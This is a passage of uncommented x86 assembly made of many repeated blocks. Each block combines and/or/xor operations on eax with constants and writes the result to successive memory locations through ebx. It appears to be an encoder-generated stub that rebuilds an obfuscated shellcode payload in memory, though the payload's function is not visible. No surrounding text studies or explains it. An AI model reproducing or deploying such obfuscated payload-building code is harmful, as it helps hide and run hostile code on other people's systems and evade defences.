or eax, 0x15cb5610
and eax, 0xf8eaa57
and eax, 0x5000010
or eax, 0x80353d00
mov dword [ebx], eax
add ebx, ecx
or eax, 0x34e0802e
and eax, 0x1404b40e
or eax, 0x480a4000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3f37d4ae
xor eax, 0x53e73832
and eax, 0x4da1c800
or eax, 0x201c01c0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x340e24e5
or eax, 0x6db01775
and eax, 0x45a21204
or eax, 0x80000008
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6d31e5fc
and eax, 0x211b0953
and eax, 0x1000000
or eax, 0xa8b1ade9
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x63bd3aa8
xor eax, 0x49a4b720
and eax, 0x82a00060
or eax, 0x7c559e86
mov dword [ebx], eax
add ebx, ecx
or eax, 0x50eda68c
or eax, 0x446b63fc
and eax, 0x9c31754e
or eax, 0x1000001
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4a2680c3
and eax, 0x8a04d447
or eax, 0x20880020
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6ea77bac
and eax, 0x5c044230
and eax, 0x8004200
or eax, 0x81f0adc8
mov dword [ebx], eax
add ebx, ecx
and eax, 0x25a90ebe
and eax, 0x800c08
or eax, 0xa80c7166
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x106198dd
and eax, 0xb8c46082
or eax, 0x3121a0c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2b71439b
and eax, 0x29016213
or eax, 0x40080420
mov dword [ebx], eax
add ebx, ecx
or eax, 0x24c54226
and eax, 0x3df926f2
and eax, 0x21410210
or eax, 0x40220941
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5ee131f1
and eax, 0x40610100
or eax, 0x398212a4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x224e9b5c
and eax, 0x7b828189
and eax, 0x19800000
or eax, 0x80040914
mov dword [ebx], eax
add ebx, ecx
and eax, 0x273eb418
and eax, 0x1040000
or eax, 0xc423444c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6b6a3489
xor eax, 0xc7e37f6
and eax, 0xc2110312
or eax, 0x1c2eb004
mov dword [ebx], eax
add ebx, ecx
and eax, 0x402ed1d4
xor eax, 0x711a202e
and eax, 0x31201102
or eax, 0xc8400000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x109bfd70
xor eax, 0x5bc8bc1a
and eax, 0x82034008
or eax, 0x4580a496
mov dword [ebx], eax
add ebx, ecx
and eax, 0x13ce25d9
and eax, 0x3000010
or eax, 0x38111040
mov dword [ebx], eax
add ebx, ecx
or eax, 0xb190e5f
and eax, 0x16bbdf64
and eax, 0x2101844
or eax, 0xac24e1a0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2f71b32b
and eax, 0x205573e6
or eax, 0x50020010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5a393663
and eax, 0xc85a30f
and eax, 0x105
or eax, 0xb5c9846a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7669ad9d
and eax, 0xc0802862
or eax, 0xc454401
mov dword [ebx], eax
add ebx, ecx
and eax, 0x52cd4aa0
xor eax, 0x27c3b222
and eax, 0x46062000
or eax, 0x4000f8
mov dword [ebx], eax
add ebx, ecx
and eax, 0x328e6bb1
or eax, 0x59aec00d
and eax, 0x5300a009
or eax, 0x4501b42
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x742ef77d
and eax, 0x3124ce81
and eax, 0x20040800
or eax, 0xd0d0b1bc
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3772052f
and eax, 0x4242252f
or eax, 0x8004200
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6e5c0f21
xor eax, 0x17df7a53
and eax, 0x81004c
or eax, 0x8434c480
mov dword [ebx], eax
add ebx, ecx
or eax, 0x105c1486
and eax, 0x90c98446
or eax, 0x21002310
mov dword [ebx], eax
add ebx, ecx
or eax, 0x27192133
xor eax, 0x7f810302
and eax, 0x8502001
or eax, 0x24841080
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1b55845b
and eax, 0x2ed9f8f5
and eax, 0xc9010d0
or eax, 0x51280224
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x566dd526
or eax, 0x7516db93
and eax, 0x69154a41
or eax, 0x80002008
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7194b064
and eax, 0x88011805
or eax, 0x465e0452
mov dword [ebx], eax
add ebx, ecx
or eax, 0x69c6f945
xor eax, 0x615f792a
and eax, 0x8c808434
or eax, 0x40381302
mov dword [ebx], eax
add ebx, ecx
and eax, 0x19937732
and eax, 0x5b7a7caa
and eax, 0x8101000
or eax, 0xf0e6e0dc
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1d9a5fdf
or eax, 0x6a3ac8fd
and eax, 0x42b21018
or eax, 0x84450100
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7cfe3c8
and eax, 0x110dc5e0
and eax, 0x4040
or eax, 0xf2703e24
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4c2aa700
xor eax, 0x3ff20e11
and eax, 0x80881604
or eax, 0x46510082
mov dword [ebx], eax
add ebx, ecx
or eax, 0x10e79af2
and eax, 0x52c690d2
or eax, 0x1002000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4b25708e
and eax, 0x40c52012
or eax, 0x84180d01
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4be284b3
and eax, 0x40c00000
or eax, 0x111409ec
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1e6d91fb
and eax, 0x2f3f9d5f
and eax, 0x89004
or eax, 0x6c8
mov dword [ebx], eax
add ebx, ecx
and eax, 0x28f400e3
or eax, 0x59e3c9f4
and eax, 0x19c1c164
or eax, 0x2608140b
mov dword [ebx], eax
add ebx, ecx
and eax, 0x455ef14d
and eax, 0x440104d
or eax, 0xbab00032
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x18a0882e
and eax, 0xf69f3ce
and eax, 0x4000040
or eax, 0xc9a90a0c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x646f9382
or eax, 0x2cbc4eec
and eax, 0x8d8e1e46
or eax, 0x42012000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4cc6451c
xor eax, 0x6c83ccd7
and eax, 0x148d0
or eax, 0x4d58312c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x190465f3
and eax, 0x40441402
or eax, 0x83000200
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2e9ce0a8
and eax, 0x2c88a2a8
or eax, 0x2200954
mov dword [ebx], eax
add ebx, ecx
and eax, 0x154d933
and eax, 0x5e03e1ed
and eax, 0x20
or eax, 0xd5337c1e
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7da3b7b2
or eax, 0x2b0b5b7c
and eax, 0x3fb290d6
or eax, 0x40000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6eb229ca
and eax, 0x104811c
or eax, 0x2e7806e3
mov dword [ebx], eax
add ebx, ecx
or eax, 0x48ae5d49
and eax, 0x2a440dc3
or eax, 0x90010000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x24bcca6f
and eax, 0x883946a0
or eax, 0x41020811
mov dword [ebx], eax
add ebx, ecx
and eax, 0x34e632c9
or eax, 0x703c683a
and eax, 0x400c608a
or eax, 0x86410100
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3a2c7c6a
and eax, 0x478c2f2e
and eax, 0x460c2900
or eax, 0x81e01281
mov dword [ebx], eax
add ebx, ecx
or eax, 0x66fd8d19
and eax, 0x85148c19
or eax, 0x8004022
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x9c8af6a
and eax, 0x886010
or eax, 0x72031c24
mov dword [ebx], eax
add ebx, ecx
or eax, 0x48fab16d
or eax, 0x3d98a057
and eax, 0x4942e457
or eax, 0x80000280
mov dword [ebx], eax
add ebx, ecx
and eax, 0x381bdbc4
and eax, 0x80040c4
or eax, 0xa2b83821
mov dword [ebx], eax
add ebx, ecx
and eax, 0x10b0af2c
and eax, 0x800020
or eax, 0x7c489358
mov dword [ebx], eax
add ebx, ecx
or eax, 0x60ea47fc
and eax, 0x3c0282cc
or eax, 0x81000803
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3b30c681
xor eax, 0x612263be
and eax, 0x92102840
or eax, 0x216d0002
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1e0e8099
and eax, 0x12040000
or eax, 0xa0b17dfb
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x602a52f4
or eax, 0xd02fb4
and eax, 0x524f0b03
or eax, 0x820c000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x315a75d
and eax, 0x4812a64f
or eax, 0xa0801020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x15c5d75f
and eax, 0x55112000
or eax, 0x2a0804b
mov dword [ebx], eax
add ebx, ecx
and eax, 0xc74ef28
and eax, 0x4002008
or eax, 0x698e5131
mov dword [ebx], eax
add ebx, ecx
or eax, 0x52b00a46
or eax, 0x2b7e8040
and eax, 0x5d627277
or eax, 0x10080
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1c382d53
and eax, 0x14002002
or eax, 0x81c44620
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x61417939
and eax, 0x1e4eaa09
and eax, 0x14040209
or eax, 0x8b7a00d6
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6e1a7075
and eax, 0x21647028
or eax, 0xe190910
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4c7099fd
and eax, 0x4600808
or eax, 0xd20d6403
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xc78aa03
and eax, 0x10054208
or eax, 0x5e000e5
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7b619cc8
xor eax, 0x29dc7e71
and eax, 0x20a846a9
or eax, 0x3028004
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5e240095
and eax, 0x200000
or eax, 0x8c9ab13a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x58fedfb1
xor eax, 0x1fa9e8a5
and eax, 0xc015171e
or eax, 0x1400e0c0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x281513a
and eax, 0x4a5528e4
and eax, 0x42102024
or eax, 0x2dc91610
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2a5d12ba
and eax, 0x681d303a
or eax, 0x80224041
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6cd645f7
and eax, 0x408208c
or eax, 0x3302ca31
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1b657517
and eax, 0x82f1c8a
or eax, 0x40902010
mov dword [ebx], eax
add ebx, ecx
and eax, 0xdcadac
and eax, 0x2f618a46
and eax, 0
or eax, 0xce76375f
mov dword [ebx], eax
add ebx, ecx
and eax, 0x401d605c
and eax, 0x4f1109ef
and eax, 0x40000008
or eax, 0xbe29a4a1
mov dword [ebx], eax
add ebx, ecx
and eax, 0x109b3770
or eax, 0x9f6ffb1
and eax, 0x1154fd81
or eax, 0x86000044
mov dword [ebx], eax
add ebx, ecx
or eax, 0x24197587
and eax, 0x1e02b8be
and eax, 0x600a086
or eax, 0xc81c0649
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2737d271
xor eax, 0x2ae062e2
and eax, 0x4948021
or eax, 0x50080f1c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x455ecc7e
and eax, 0x9d530aa
and eax, 0x1400000
or eax, 0x143f504c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7f785b0f
or eax, 0x9a5f150
and eax, 0x2d2b4a17
or eax, 0x80000000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x139b1ff0
or eax, 0x7de4803f
and eax, 0xa80042a
or eax, 0xb0a00
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xcac9371
and eax, 0x421991b
or eax, 0xa0c80204
mov dword [ebx], eax
add ebx, ecx
or eax, 0x364fcc6d
xor eax, 0x4119b610
and eax, 0xa6906164
or eax, 0x8098400
mov dword [ebx], eax
add ebx, ecx
or eax, 0x886fdc9
and eax, 0xac0c0580
or eax, 0x40400202
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x23a9f7e9
or eax, 0x5c5a9bd5
and eax, 0x584acb58
or eax, 0x400
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7de77fda
or eax, 0x324e9466
and eax, 0x4a4e4d10
or eax, 0x102080
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6c36601
xor eax, 0x45da36a5
and eax, 0x1422c30
or eax, 0x2608c20a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x94c4848
and eax, 0x240622a
or eax, 0x50a11000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2a5d059d
or eax, 0x466181d6
and eax, 0xe695277
or eax, 0x81020000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6ec36c61
and eax, 0x4410020
or eax, 0x91008988
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6dc267c7
or eax, 0x2018fc8f
and eax, 0x2140b489
or eax, 0x40a70050
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x675dc84a
xor eax, 0x4330fa8f
and eax, 0x4002021c
or eax, 0x1a2140e2
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2b0af16c
and eax, 0x6222d3e6
or eax, 0x80d40000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x77293f02
and eax, 0xd3a91660
or eax, 0x8000000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7d548542
and eax, 0x2181022
or eax, 0x9026451
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7b57bcf8
and eax, 0x9101070
or eax, 0x4e00208
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2c2913a4
and eax, 0x2d111340
or eax, 0x12044c02
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6fde2367
and eax, 0x40092005
or eax, 0x2404838a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7d95af1b
and eax, 0x3cc1a123
and eax, 0x10000000
or eax, 0xe654496d
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4d4fc6b8
and eax, 0x416d8d48
and eax, 0x41418948
or eax, 0x84a010b4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x238e1683
and eax, 0xc06d8730
or eax, 0x18106000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1a19ab5e
and eax, 0x82200404
or eax, 0x308b8281
mov dword [ebx], eax
add ebx, ecx
and eax, 0x26114570
or eax, 0x6df40444
and eax, 0x63610440
or eax, 0x10005393
mov dword [ebx], eax
add ebx, ecx
or eax, 0x12d58018
and eax, 0x50d388
or eax, 0x80080024
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6f11acdc
and eax, 0x2f75087
and eax, 0x84
or eax, 0xfae94920
mov dword [ebx], eax
add ebx, ecx
and eax, 0x52a098e1
xor eax, 0x2845871a
and eax, 0x2a4103b0
or eax, 0x800a4045
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1c68850c
xor eax, 0x428bd357
and eax, 0x6480142e
or eax, 0x213ca01
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6e7fbaec
and eax, 0x2fe1ee7
or eax, 0x81000000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x423698ca
xor eax, 0x6555a597
and eax, 0x600104
or eax, 0x98844080
mov dword [ebx], eax
add ebx, ecx
or eax, 0x41f2e50f
and eax, 0x4114008d
or eax, 0x24011a70
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4f1253e4
or eax, 0x27991962
and eax, 0xb975029
or eax, 0xc0400600
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x551c734e
and eax, 0x968a0501
or eax, 0x24da80
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x88ed47b
and eax, 0x416a5708
and eax, 0x200
or eax, 0xa290d8e2
mov dword [ebx], eax
add ebx, ecx
or eax, 0x785d5685
and eax, 0x38091667
or eax, 0x1202108
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2782df1f
or eax, 0x619755c4
and eax, 0x37a7c530
or eax, 0x80400001
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1e9ac96b
and eax, 0x373b8512
or eax, 0x40002280
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2a7226f1
and eax, 0x2e29a67f
and eax, 0x26018233
or eax, 0x41460108
mov dword [ebx], eax
add ebx, ecx
or eax, 0x235e9bf4
or eax, 0x3e57b634
and eax, 0x454bb1ee
or eax, 0x4000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1f71ffdd
xor eax, 0x53c4b570
and eax, 0x88c4287
or eax, 0xc0409100
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1c60aa7b
and eax, 0x8400203
or eax, 0xf32359a4
mov dword [ebx], eax
add ebx, ecx
or eax, 0x29574659
and eax, 0xab7453e3
or eax, 0x882000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1504278b
and eax, 0x1002303
or eax, 0x36498c5c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x23c3a201
and eax, 0x49aff8ed
and eax, 0x820808
or eax, 0xf7747302
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1dda4b08
or eax, 0x7976b696
and eax, 0x5854b694
or eax, 0x814060
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x44a595c5
xor eax, 0x352f7e9d
and eax, 0x294c0928
or eax, 0x46a0e211
mov dword [ebx], eax
add ebx, ecx
or eax, 0xa6fc44f
or eax, 0x86219c1
and eax, 0xf086113
or eax, 0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x33815106
or eax, 0x493a76c5
and eax, 0x29085503
or eax, 0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x68e8a159
or eax, 0x27ccd981
and eax, 0x66498c9
or eax, 0x8020220
mov dword [ebx], eax
add ebx, ecx
or eax, 0x634ea882
or eax, 0x1f52144e
and eax, 0x7a0e348d
or eax, 0x14100
mov dword [ebx], eax
add ebx, ecx
and eax, 0x50db4e9b
and eax, 0x80001
or eax, 0xc943144
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6d7693b4
and eax, 0x15e005b5
and eax, 4
or eax, 0x430d1e18
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6a56900e
and eax, 0x28010612
or eax, 0x82a02025
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4425ce59
and eax, 0xa6e4c76
and eax, 0x2040406
or eax, 0xa1118209
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x67d53942
xor eax, 0x51aee110
and eax, 0x4625c08
or eax, 0x481001a0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1b62b777
and eax, 0xe616097
and eax, 0x8000000
or eax, 0x18bd801
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1d7cca4f
and eax, 0x1dd31203
or eax, 0x40002500
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x165d0fc5
and eax, 0x14b20f4c
and eax, 0x40
or eax, 0xf2044019
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3b1e17cf
and eax, 0x62c12096
and eax, 0x84
or eax, 0xb2b85308
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2a3dd0f5
xor eax, 0xcc792a1
and eax, 0x401198
or eax, 0x4801ac26
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x648eaafa
and eax, 0x3f44fdbb
and eax, 0x24000100
or eax, 0xa3a0a3
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x122548dc
and eax, 0x3680494d
or eax, 0x41480680
mov dword [ebx], eax
add ebx, ecx
and eax, 0x497d96a6
and eax, 0x6c486299
and eax, 0x40080000
or eax, 0x1d26e157
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x30e96fa0
or eax, 0x388894a8
and eax, 0x6d490a6c
or eax, 0x2004000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7a6d1ef6
or eax, 0xec01aee
and eax, 0x1ecd1630
or eax, 0x80008001
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x41abc81c
and eax, 0x45445e29
or eax, 0x20188102
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x49a83c1d
or eax, 0x2ce886b1
and eax, 0x83ce393
or eax, 0x10021008
mov dword [ebx], eax
add ebx, ecx
or eax, 0x38fdde85
and eax, 0x18bd56ea
and eax, 0x18954282
or eax, 0xc740a854
mov dword [ebx], eax
add ebx, ecx
or eax, 0x32821651
or eax, 0x5d415b0f
and eax, 0xb55414cd
or eax, 0x200020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7a54a351
and eax, 0x8a20b690
or eax, 0x20c84843
mov dword [ebx], eax
add ebx, ecx
or eax, 0x643c94d
or eax, 0x32dba455
and eax, 0x8601ea9a
or eax, 0x40000020
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4864ab09
and eax, 0x40002a08
or eax, 0xb6815a3
mov dword [ebx], eax
add ebx, ecx
and eax, 0x518842b5
and eax, 0x41080080
or eax, 0xaec4c14e
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x76077a95
and eax, 0x94a3118
or eax, 0x62140024
mov dword [ebx], eax
add ebx, ecx
or eax, 0x595766f5
or eax, 0x16ed348e
and eax, 0x7474402e
or eax, 0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x318126ba
and eax, 0x1000002a
or eax, 0x4a58db94
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5b31c310
xor eax, 0x1ad20864
and eax, 0x41290248
or eax, 0x1a102400
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6d51ff9d
or eax, 0x3ea09b3c
and eax, 0x981371c
or eax, 0x4c4040
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x59a792bc
xor eax, 0x4ce865f
and eax, 0x484231b
or eax, 0x28430840
mov dword [ebx], eax
add ebx, ecx
and eax, 0x245db2c2
and eax, 0x4012200
or eax, 0x18208c31
mov dword [ebx], eax
add ebx, ecx
and eax, 0x127c9a8d
and eax, 0x2c8c5204
and eax, 0
or eax, 0x712724ec
mov dword [ebx], eax
add ebx, ecx
and eax, 0x287869ef
and eax, 0x202000e4
or eax, 0x555cb10
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3e228a94
and eax, 0x290cff21
and eax, 0x20000000
or eax, 0xd1e371b6
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6f9d3d
or eax, 0x3d8a65c0
and eax, 0x908e4cc8
or eax, 0x2100034
mov dword [ebx], eax
add ebx, ecx
and eax, 0x54ec9dab
and eax, 0x22aa995c
and eax, 0x800000
or eax, 0x251525b2
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6977521a
and eax, 0x4802188
or eax, 0x82050011
mov dword [ebx], eax
add ebx, ecx
and eax, 0x45f42570
and eax, 0x6753aae4
and eax, 0x4000000
or eax, 0x41450b0a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x63ebbc37
and eax, 0x6569981d
or eax, 0x4000
mov dword [ebx], eax
add ebx, ecx
and eax, 0xd43b0ee
and eax, 0x1408004
or eax, 0x7a266e91
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1f37804e
and eax, 0x9000004
or eax, 0xe0194a70
mov dword [ebx], eax
add ebx, ecx
and eax, 0x566c821d
and eax, 0x40000200
or eax, 0x1f33b442
mov dword [ebx], eax
add ebx, ecx
and eax, 0x10deff7c
and eax, 0x1002b400
or eax, 0x2da409bf
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7145d14e
or eax, 0x6ec2dd0f
and eax, 0x7d804008
or eax, 0x190250
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4663b30
and eax, 0x28c17128
or eax, 0x8284
mov dword [ebx], eax
add ebx, ecx
or eax, 0x168f2907
and eax, 0x3e8762af
or eax, 0x81100410
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3f6fcdda
or eax, 0x50a4ee42
and eax, 0xce4dad83
or eax, 0x1000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3bad7540
and eax, 0xab4cb0c2
or eax, 0x230
mov dword [ebx], eax
add ebx, ecx
and eax, 0x16202320
or eax, 0x2afdb7f0
and eax, 0x22cd2160
or eax, 0x45024005
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5a1d5928
and eax, 0x39001005
or eax, 0x80040332
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x32c55905
and eax, 0x82400030
or eax, 0x5010b1c1
mov dword [ebx], eax
add ebx, ecx
or eax, 0x40309d81
and eax, 0x28450d1c
and eax, 0x400d10
or eax, 0xb7a00065
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5034a3d2
and eax, 0xe1c42484
or eax, 0x8235150
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4da417cd
or eax, 0x14f76d78
and eax, 0x1c022680
or eax, 0x2000002
mov dword [ebx], eax
add ebx, ecx
and eax, 0x226f362
or eax, 0x50147b47
and eax, 0x40024906
or eax, 0x20600480
mov dword [ebx], eax
add ebx, ecx
or eax, 0x516f5e6
and eax, 0x4062542
or eax, 0x88090201
mov dword [ebx], eax
add ebx, ecx
and eax, 0x50b9e318
and eax, 0x2000
or eax, 0x75625ce8
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6b622acb
and eax, 0x20400088
or eax, 0x8400d101
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6d40ca50
or eax, 0x63821af4
and eax, 0x810218cc
or eax, 0x100c4400
mov dword [ebx], eax
add ebx, ecx
and eax, 0x606f80c2
and eax, 0x44309b0a
and eax, 0
or eax, 0x7e32b08d
mov dword [ebx], eax
add ebx, ecx
and eax, 0x57666d3
and eax, 0x4302001
or eax, 0x48484d44
mov dword [ebx], eax
add ebx, ecx
or eax, 0x34adf6cf
and eax, 0x58999843
or eax, 0x2020030
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5ad60367
and eax, 0x88910
or eax, 0x7b040c0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7e1f8a89
and eax, 0x19074359
or eax, 0x86100406
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1fb3cce3
xor eax, 0x3850aed0
and eax, 0x38e0000c
or eax, 0x46080202
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3bec258b
and eax, 0x1e7c425f
and eax, 0x400008
or eax, 0x81825285
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5e792144
and eax, 0xed92149
or eax, 0x20000812
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6b3c377e
or eax, 0x44c2ed50
and eax, 0x2e00c818
or eax, 0x240024
mov dword [ebx], eax
add ebx, ecx
or eax, 0x422dba9f
and eax, 0x4009cabd
or eax, 0x81800000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x55a3afe5
and eax, 0x3e47b01d
and eax, 0x18004
or eax, 0xd1f07efa
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1eae971b
or eax, 0x11819da1
and eax, 0x10818539
or eax, 0xe65e0000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x75445264
xor eax, 0x4d6bd7ee
and eax, 0x92900082
or eax, 0x14a4f48
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5d3220f3
and eax, 0x10020002
or eax, 0x48803c1d
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6188d69d
and eax, 0x40000010
or eax, 0x1c28a360
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x160cf49
xor eax, 0x6f20479
and eax, 0x42306840
or eax, 0x103e
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7388ee91
and eax, 0x109bff68
and eax, 0xb468
or eax, 0x8c470090
mov dword [ebx], eax
add ebx, ecx
or eax, 0xb2b334e
and eax, 0x547a350
or eax, 0x50800000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4865540
and eax, 0x5ea74ca6
and eax, 0
or eax, 0x79712f13
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5441c090
and eax, 0x50000010
or eax, 0xab08fbcf
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4f5d1903
and eax, 0x8005401c
or eax, 0x40221822
mov dword [ebx], eax
add ebx, ecx
or eax, 0x78a30e5f
and eax, 0x48814633
or eax, 0x4488000
mov dword [ebx], eax
add ebx, ecx
or eax, 0xca9fb6d
or eax, 0x2ca0d800
and eax, 0x4000e957
or eax, 0x82040000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x16fb4d7c
and eax, 0x4afa422
or eax, 0x220058d4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6afcb56
and eax, 0x23481198
and eax, 0x20001100
or eax, 0xc606ec15
mov dword [ebx], eax
add ebx, ecx
or eax, 0xac793c
and eax, 0xe688282d
or eax, 0x9100202
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1218b0d
and eax, 0x100080d
or eax, 0xbc34e012
mov dword [ebx], eax
add ebx, ecx
or eax, 0x25c88e47
and eax, 0xa9708016
or eax, 0x300a0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4bc673c4
xor eax, 0x4713fe0b
and eax, 0x84840059
or eax, 0x18195286
mov dword [ebx], eax
add ebx, ecx
and eax, 0x392aa97f
and eax, 0x10080047
or eax, 0xe4959e80
mov dword [ebx], eax
add ebx, ecx
or eax, 0xbe219bf
or eax, 0x279ef54d
and eax, 0x9da89882
or eax, 0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1dae6031
or eax, 0x261b1e1
and eax, 0x4682081
or eax, 0x20024e18
mov dword [ebx], eax
add ebx, ecx
and eax, 0x306711ae
and eax, 0x620080
or eax, 0x4f801614
mov dword [ebx], eax
add ebx, ecx
and eax, 0x39b1d700
and eax, 0x8a01000
or eax, 0x301d002b
mov dword [ebx], eax
